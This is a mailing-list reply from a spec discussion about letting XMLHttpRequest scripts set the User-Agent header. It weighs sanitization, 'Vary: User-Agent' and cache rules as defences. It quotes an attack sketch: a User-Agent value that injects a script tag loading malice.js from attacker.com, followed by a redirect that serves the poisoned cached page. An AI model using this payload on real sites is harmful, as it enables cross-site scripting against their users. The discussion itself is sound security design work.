Re: [XHR] Open issue: allow setting User-Agent?

On 10/16/12 8:44 AM, Hallvord Reiar Michaelsen Steen wrote:
> xhr=new XMLHttpRequest();
> xhr.setRequestHeader('User-Agent', '--><script src="http://attacker.com/malice.js"></script><!--');

For what it's worth, I would have no problem sanitizing the header value 
for User-Agent if we allow script to set it, or throwing on certain 
values; I can't think of any legit use cases for values containing '<', 
since no actual UAs do that.

> and then requests /publicdata/index.htm . Once the request reaches readyState=4, attacker's page does
>
> location.href='http://www.victim.com/publicdata/index.htm';
>
> The browser has a fresh copy - loaded with the xhr request just milliseconds ago - and fetches the page from cache. Voila, the browser is now rendering a victim.com page with a link to malice.js included and the attacker can do whatever from the JS now running in the scope of the site.

Again, "Vary: User-Agent" is the answer here, from the browser's point 
of view.  I agree that this would be good to discuss in a security 
implications section.  The spec could even require that responses to XHR 
with custom UA simply not be cached, if we want to play it safe.

> so the threat scenario relies on the remote server being stupid enough to do that and yet be careless about echoing non-sanitised User-Agent strings back to the page. Which is basically the negotiation scenario Julian earlier said he would agree to, and the reason I'm still pondering if it would be worth the extra complexity to allow it for cross-domain requests only...but this sort of "cache poisoning" scenario is a concern..

Right, I agree it's a concern.  I think it's an easy one to address for 
this narrow use case.

-Boris

Received on Tuesday, 16 October 2012 15:21:43 UTC